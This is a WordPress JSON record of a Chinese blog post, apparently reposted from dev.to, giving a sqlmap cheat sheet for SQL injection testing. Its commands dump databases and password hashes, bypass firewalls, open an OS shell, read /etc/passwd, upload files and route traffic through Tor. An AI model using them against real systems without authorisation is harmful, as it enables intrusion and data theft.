{"id":50507,"date":"2024-12-03T09:55:11","date_gmt":"2024-12-03T01:55:11","guid":{"rendered":"https:\/\/fwq.ai\/blog\/50507\/"},"modified":"2024-12-03T09:55:11","modified_gmt":"2024-12-03T01:55:11","slug":"sqlmap-%e5%a4%87%e5%bf%98%e5%8d%95%ef%bc%9a%e8%87%aa%e5%8a%a8-sql-%e6%b3%a8%e5%85%a5%e5%bf%ab%e9%80%9f%e6%8c%87%e5%8d%97","status":"publish","type":"post","link":"https:\/\/fwq.ai\/blog\/50507\/","title":{"rendered":"SQLMap \u5907\u5fd8\u5355\uff1a\u81ea\u52a8 SQL \u6ce8\u5165\u5feb\u901f\u6307\u5357"},"content":{"rendered":"<p><b><\/b>     <\/p>\n<h1>SQLMap \u5907\u5fd8\u5355\uff1a\u81ea\u52a8 SQL \u6ce8\u5165\u5feb\u901f\u6307\u5357<\/h1>\n<p><span style=\"color: #FF6600;, Helvetica, Arial, sans-serif;font-size: 14px;background-color: #FFFFFF\">\u6587\u7ae0<\/span>\u4e0d\u77e5\u9053\u5927\u5bb6\u662f\u5426\u719f\u6089\uff1f\u4eca\u5929\u6211\u5c06\u7ed9\u5927\u5bb6\u4ecb\u7ecd<span style=\"color: #FF6600;, Helvetica, Arial, sans-serif;font-size: 14px;background-color: #FFFFFF\">\u300aSQLMap \u5907\u5fd8\u5355\uff1a\u81ea\u52a8 SQL \u6ce8\u5165\u5feb\u901f\u6307\u5357\u300b<\/span>\uff0c\u8fd9\u7bc7\u6587\u7ae0\u4e3b\u8981\u4f1a\u8bb2\u5230<span style=\"color: #FF6600;, Helvetica, Arial, sans-serif;font-size: 14px;background-color: #FFFFFF\"><\/span>\u7b49\u7b49\u77e5\u8bc6\u70b9\uff0c\u5982\u679c\u4f60\u5728\u770b\u5b8c\u672c\u7bc7\u6587\u7ae0\u540e\uff0c\u6709\u66f4\u597d\u7684\u5efa\u8bae\u6216\u8005\u53d1\u73b0\u54ea\u91cc\u6709\u95ee\u9898\uff0c\u5e0c\u671b\u5927\u5bb6\u90fd\u80fd\u79ef\u6781\u8bc4\u8bba\u6307\u51fa\uff0c\u8c22\u8c22\uff01\u5e0c\u671b\u6211\u4eec\u80fd\u4e00\u8d77\u52a0\u6cb9\u8fdb\u6b65\uff01<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.17golang.com\/uploads\/20241121\/1732170659673ed3a33edbc.jpg\" class=\"aligncenter\" title=\"SQLMap \u5907\u5fd8\u5355\uff1a\u81ea\u52a8 SQL \u6ce8\u5165\u5feb\u901f\u6307\u5357\u63d2\u56fe\" alt=\"SQLMap \u5907\u5fd8\u5355\uff1a\u81ea\u52a8 SQL \u6ce8\u5165\u5feb\u901f\u6307\u5357\u63d2\u56fe\" \/><\/p>\n<p><em>\u4f5c\u8005\uff1a\u7279\u91cc\u514b\u65af\u00b7\u8d5b\u52d2\u65af<\/em><\/p>\n<p>\u4ec0\u4e48\u662f sqlmap\uff1f<br \/> sqlmap\u662f\u4e00\u4e2a\u5f00\u6e90\u6e17\u900f\u6d4b\u8bd5\u5de5\u5177\uff0c\u7528\u4e8e\u68c0\u6d4b\u548c\u5229\u7528web\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684sql\u6ce8\u5165\u6f0f\u6d1e\u3002\u5b83\u652f\u6301\u5404\u79cd\u6570\u636e\u5e93\u7cfb\u7edf\uff0c\u5982 mysql\u3001postgresql\u3001oracle\u3001microsoft sql server \u7b49\u3002<\/p>\n<p><strong>\u57fa\u672c\u7528\u6cd5<\/strong><br \/> \u8981\u5f00\u59cb\u4f7f\u7528 sqlmap\uff0c\u60a8\u53ef\u4ee5\u901a\u8fc7\u63d0\u4f9b\u76ee\u6807 url \u4ee5\u6700\u7b80\u5355\u7684\u5f62\u5f0f\u8fd0\u884c\u5b83\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\"\n<\/pre>\n<p>\u6b64\u547d\u4ee4\u626b\u63cf\u76ee\u6807 url \u662f\u5426\u5b58\u5728 sql \u6ce8\u5165\u6f0f\u6d1e\u3002<\/p>\n<p><strong>1\u3002\u68c0\u6d4b\u6f0f\u6d1e<\/strong><br \/> \u4f7f\u7528\u4ee5\u4e0b\u9009\u9879\u6267\u884c\u57fa\u672c\u7684\u6f0f\u6d1e\u626b\u63cf\u5e76\u81ea\u52a8\u68c0\u6d4b sql \u6ce8\u5165\u70b9\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" --dbs\n<\/pre>\n<p>&#8211;dbs\uff1a\u5982\u679c\u53d1\u73b0\u6f0f\u6d1e\uff0c\u5217\u51fa\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6240\u6709\u53ef\u7528\u7684\u6570\u636e\u5e93\u3002<\/p>\n<p><strong>2\u3002\u6307\u5b9a post \u8bf7\u6c42<\/strong><\/p>\n<p>\u5bf9\u4e8e\u9700\u8981 post \u8bf7\u6c42\u7684\u76ee\u6807\uff08\u901a\u5e38\u5728\u767b\u5f55\u8868\u5355\u4e2d\uff09\uff0c\u60a8\u53ef\u4ee5\u6307\u5b9a\u5982\u4e0b\u6570\u636e\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/login.php\" --data=\"username=admin&amp;password=1234\"\n<\/pre>\n<p><strong>3\u3002\u7ed5\u8fc7 waf \u548c\u8fc7\u6ee4\u5668<\/strong><\/p>\n<p>\u4e3a\u4e86\u9003\u907f web \u5e94\u7528\u7a0b\u5e8f\u9632\u706b\u5899 (waf)\uff0csqlmap \u5305\u542b\u6709\u6548\u8d1f\u8f7d\u6df7\u6dc6\u6280\u672f\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" --tamper=space2comment\n<\/pre>\n<p>&#8211;tamper\uff1a\u4f7f\u7528\u7be1\u6539\u811a\u672c\u6765\u9003\u907f\u8fc7\u6ee4\u5668\u3002\u793a\u4f8b\uff1aspace2comment\u3001charencode\u3002<\/p>\n<p><strong>4\u3002\u63d0\u53d6\u6570\u636e\u5e93\u3001\u8868\u548c\u5217<\/strong><br \/> \u8981\u83b7\u53d6\u76ee\u6807\u7cfb\u7edf\u4e0a\u7684\u6570\u636e\u5e93\u5217\u8868\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" --dbs\n<\/pre>\n<p>\u8bc6\u522b\u6570\u636e\u5e93\u540e\uff0c\u63d0\u53d6\u5176\u8868\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" -d database_name --tables\n<\/pre>\n<p>\u8981\u4ece\u7279\u5b9a\u8868\u4e2d\u83b7\u53d6\u5217\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" -d database_name -t table_name --columns\n<\/pre>\n<p><strong>5\u3002\u8f6c\u50a8\u6570\u636e<\/strong><\/p>\n<p>\u8f6c\u50a8\u8868\u7684\u5185\u5bb9\u662f sqlmap \u6700\u6709\u7528\u7684\u529f\u80fd\u4e4b\u4e00\u3002\u4f8b\u5982\uff0c\u8f6c\u50a8\u7279\u5b9a\u8868\u4e2d\u7684\u6240\u6709\u6570\u636e\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" -d database_name -t table_name --dump\n<\/pre>\n<p><strong>6\u3002\u679a\u4e3e\u6570\u636e\u5e93\u7528\u6237\u548c\u5bc6\u7801<\/strong><\/p>\n<p>sqlmap \u8fd8\u53ef\u4ee5\u7528\u4e8e\u679a\u4e3e\u6570\u636e\u5e93\u7528\u6237\uff0c\u751a\u81f3\u7834\u89e3\u54c8\u5e0c\u5bc6\u7801\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" --users\nsqlmap -u \"http:\/\/example.com\/index.php?id=1\" --passwords\n<\/pre>\n<p><strong>7\u3002\u8bbf\u95ee\u64cd\u4f5c\u7cfb\u7edf<\/strong><\/p>\n<p>\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0csqlmap\u53ef\u4ee5\u7528\u6765\u5728\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u6267\u884c\u547d\u4ee4\uff0c\u7279\u522b\u662f\u5f53\u6570\u636e\u5e93\u7528\u6237\u5177\u6709\u9ad8\u7ea7\u6743\u9650\u65f6\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" --os-shell\n<\/pre>\n<p>\u8fd9\u5c06\u63d0\u4f9b\u4e00\u4e2a\u4ea4\u4e92\u5f0f shell\uff0c\u60a8\u53ef\u4ee5\u5728\u5176\u4e2d\u5728\u76ee\u6807\u7cfb\u7edf\u4e0a\u6267\u884c\u547d\u4ee4\u3002<\/p>\n<p><strong>8\u3002\u6587\u4ef6\u4e0a\u4f20\u4e0e\u8bfb\u53d6<\/strong><\/p>\n<p>\u60a8\u8fd8\u53ef\u4ee5\u4ece\u76ee\u6807\u7cfb\u7edf\u8bfb\u53d6\u6587\u4ef6\u6216\u4e0a\u4f20\u6076\u610f\u6587\u4ef6\uff08\u5982\u679c\u5141\u8bb8\uff09\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" --file-read=\"\/etc\/passwd\"\nsqlmap -u \"http:\/\/example.com\/index.php?id=1\" --file-write=\"\/path\/to\/file\" --file-dest=\"\/destination\/path\"\n<\/pre>\n<p><strong>9\u3002\u4f7f\u7528 tor \u8fdb\u884c\u533f\u540d<\/strong><\/p>\n<p>\u8981\u9690\u85cf\u60a8\u7684\u8eab\u4efd\uff0c\u60a8\u53ef\u4ee5\u901a\u8fc7 tor \u7f51\u7edc\u8fd0\u884c sqlmap\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" --tor --tor-type=socks5 --check-tor\n<\/pre>\n<p>&#8211;tor\uff1a\u542f\u7528 tor\u3002<br \/> &#8211;check-tor\uff1a\u9a8c\u8bc1\u662f\u5426\u901a\u8fc7 tor \u5efa\u7acb\u8fde\u63a5\u3002<\/p>\n<p><strong>10\u3002\u4fdd\u5b58\u548c\u6062\u590d\u4f1a\u8bdd<\/strong><\/p>\n<p>sqlmap \u5141\u8bb8\u60a8\u4f7f\u7528 &#8211;session \u9009\u9879\u4fdd\u5b58\u548c\u6062\u590d\u8fdb\u5ea6\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" --session=your_session_name\n<\/pre>\n<p>\u7a0d\u540e\uff0c\u60a8\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u65b9\u5f0f\u6062\u590d\u540c\u4e00\u4f1a\u8bdd\uff1a<\/p>\n<pre>sqlmap -r your_session_name\n<\/pre>\n<p><strong>11\u3002\u8be6\u7ec6\u6a21\u5f0f<\/strong><\/p>\n<p>\u8981\u67e5\u770b\u6709\u5173 sqlmap \u6b63\u5728\u6267\u884c\u7684\u64cd\u4f5c\u7684\u8be6\u7ec6\u4fe1\u606f\uff1a<\/p>\n<pre>sqlmap -u \"http:\/\/example.com\/index.php?id=1\" -v 3\n<\/pre>\n<p>-v \u9009\u9879\u63a7\u5236\u8be6\u7ec6\u7a0b\u5ea6\uff08\u7ea7\u522b\u4ece 0 \u5230 6\uff0c\u5176\u4e2d 6 \u663e\u793a\u6240\u6709\u8be6\u7ec6\u4fe1\u606f\uff09\u3002<\/p>\n<ol>\n<li>\u81ea\u52a8\u626b\u63cf\u591a\u4e2a\u76ee\u6807<\/li>\n<\/ol>\n<p>sqlmap \u652f\u6301\u626b\u63cf\u5b58\u50a8\u5728\u6587\u4ef6\u4e2d\u7684\u591a\u4e2a url\uff1a<\/p>\n<pre>sqlmap -m urls.txt --batch\n<\/pre>\n<p>&#8211;batch\uff1a\u4f7f\u7528\u9ed8\u8ba4\u9009\u9879\u81ea\u52a8\u56de\u7b54\u6240\u6709\u63d0\u793a\uff0c\u5bf9\u4e8e\u81ea\u52a8\u626b\u63cf\u5f88\u6709\u7528\u3002<\/p>\n<p>\u8fd8\u53ef\u4ee5\u4f7f\u7528 &#8211;risk=3 \u548c &#8211;level=5 \u6765\u63d0\u524d\u626b\u63cf<br \/><em>\u60a8\u53ef\u4ee5\u4f7f\u7528\u6b64\u5907\u5fd8\u5355\u5411\u8bfb\u8005\u4ecb\u7ecd sqlmap \u7684\u57fa\u672c\u547d\u4ee4\uff0c\u5e76\u5e2e\u52a9\u4ed6\u4eec\u5f00\u59cb sql \u6ce8\u5165\u6d4b\u8bd5\u3002<\/em><\/p>\n<p>~trixsec<\/p>\n<p>\u672c\u7bc7\u5173\u4e8e\u300aSQLMap \u5907\u5fd8\u5355\uff1a\u81ea\u52a8 SQL \u6ce8\u5165\u5feb\u901f\u6307\u5357\u300b\u7684\u4ecb\u7ecd\u5c31\u5230\u6b64\u7ed3\u675f\u5566\uff0c\u4f46\u662f\u5b66\u65e0\u6b62\u5883\uff0c\u60f3\u8981\u4e86\u89e3\u5b66\u4e60\u66f4\u591a\u5173\u4e8e\u6587\u7ae0\u7684\u76f8\u5173\u77e5\u8bc6\uff0c\u8bf7\u5173\u6ce8\u7c73\u4e91\u516c\u4f17\u53f7\uff01<\/p>\n<p>      \u7248\u672c\u58f0\u660e \u672c\u6587\u8f6c\u8f7d\u4e8e\uff1adev.to \u5982\u6709\u4fb5\u72af\uff0c\u8bf7\u8054\u7cfb\u5220\u9664<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQLMap \u5907\u5fd8\u5355\uff1a\u81ea\u52a8 SQL \u6ce8\u5165\u5feb\u901f\u6307\u5357 \u6587\u7ae0\u4e0d\u77e5\u9053\u5927\u5bb6\u662f\u5426\u719f\u6089\uff1f\u4eca\u5929\u6211\u5c06\u7ed9\u5927\u5bb6\u4ecb\u7ecd\u300aSQLMap \u5907\u5fd8\u5355\uff1a\u81ea\u52a8 SQL \u6ce8\u5165\u5feb\u901f\u6307\u5357\u300b\uff0c\u8fd9\u7bc7\u6587\u7ae0\u4e3b\u8981\u4f1a\u8bb2\u5230\u7b49\u7b49\u77e5\u8bc6\u70b9\uff0c\u5982\u679c\u4f60\u5728\u770b\u5b8c\u672c\u7bc7\u6587\u7ae0\u540e\uff0c\u6709\u66f4\u597d\u7684\u5efa\u8bae\u6216\u8005\u53d1\u73b0\u54ea\u91cc\u6709\u95ee\u9898\uff0c\u5e0c\u671b\u5927\u5bb6\u90fd\u80fd\u79ef\u6781\u8bc4\u8bba\u6307\u51fa\uff0c\u8c22\u8c22\uff01\u5e0c\u671b\u6211\u4eec\u80fd\u4e00\u8d77\u52a0\u6cb9\u8fdb\u6b65\uff01 \u4f5c\u8005\uff1a\u7279\u91cc\u514b\u65af\u00b7\u8d5b\u52d2\u65af \u4ec0\u4e48\u662f sqlmap\uff1f sqlmap\u662f\u4e00\u4e2a\u5f00\u6e90\u6e17\u900f\u6d4b\u8bd5\u5de5\u5177\uff0c\u7528\u4e8e\u68c0\u6d4b\u548c\u5229\u7528web\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684sql\u6ce8\u5165\u6f0f\u6d1e\u3002\u5b83\u652f\u6301\u5404\u79cd\u6570\u636e\u5e93\u7cfb\u7edf\uff0c\u5982 mysql\u3001postgresql\u3001oracle\u3001microsoft sql server \u7b49\u3002 \u57fa\u672c\u7528\u6cd5 \u8981\u5f00\u59cb\u4f7f\u7528 sqlmap\uff0c\u60a8\u53ef\u4ee5\u901a\u8fc7\u63d0\u4f9b\u76ee\u6807 url \u4ee5\u6700\u7b80\u5355\u7684\u5f62\u5f0f\u8fd0\u884c\u5b83\uff1a sqlmap -u &#8220;http:\/\/example.com\/index.php?id=1&#8221; \u6b64\u547d\u4ee4\u626b\u63cf\u76ee\u6807 url \u662f\u5426\u5b58\u5728 sql \u6ce8\u5165\u6f0f\u6d1e\u3002 1\u3002\u68c0\u6d4b\u6f0f\u6d1e \u4f7f\u7528\u4ee5\u4e0b\u9009\u9879\u6267\u884c\u57fa\u672c\u7684\u6f0f\u6d1e\u626b\u63cf\u5e76\u81ea\u52a8\u68c0\u6d4b sql \u6ce8\u5165\u70b9\uff1a sqlmap -u &#8220;http:\/\/example.com\/index.php?id=1&#8221; &#8211;dbs &#8211;dbs\uff1a\u5982\u679c\u53d1\u73b0\u6f0f\u6d1e\uff0c\u5217\u51fa\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6240\u6709\u53ef\u7528\u7684\u6570\u636e\u5e93\u3002 2\u3002\u6307\u5b9a post \u8bf7\u6c42 \u5bf9\u4e8e\u9700\u8981 post \u8bf7\u6c42\u7684\u76ee\u6807\uff08\u901a\u5e38\u5728\u767b\u5f55\u8868\u5355\u4e2d\uff09\uff0c\u60a8\u53ef\u4ee5\u6307\u5b9a\u5982\u4e0b\u6570\u636e\uff1a sqlmap -u &#8220;http:\/\/example.com\/login.php&#8221; &#8211;data=&#8221;username=admin&amp;password=1234&#8243; 3\u3002\u7ed5\u8fc7 waf \u548c\u8fc7\u6ee4\u5668 \u4e3a\u4e86\u9003\u907f web \u5e94\u7528\u7a0b\u5e8f\u9632\u706b\u5899 (waf)\uff0csqlmap [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16],"tags":[],"class_list":["post-50507","post","type-post","status-publish","format-standard","hentry","category-16"],"_links":{"self":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/posts\/50507","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/comments?post=50507"}],"version-history":[{"count":0,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/posts\/50507\/revisions"}],"wp:attachment":[{"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/media?parent=50507"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/categories?post=50507"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fwq.ai\/blog\/wp-json\/wp\/v2\/tags?post=50507"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}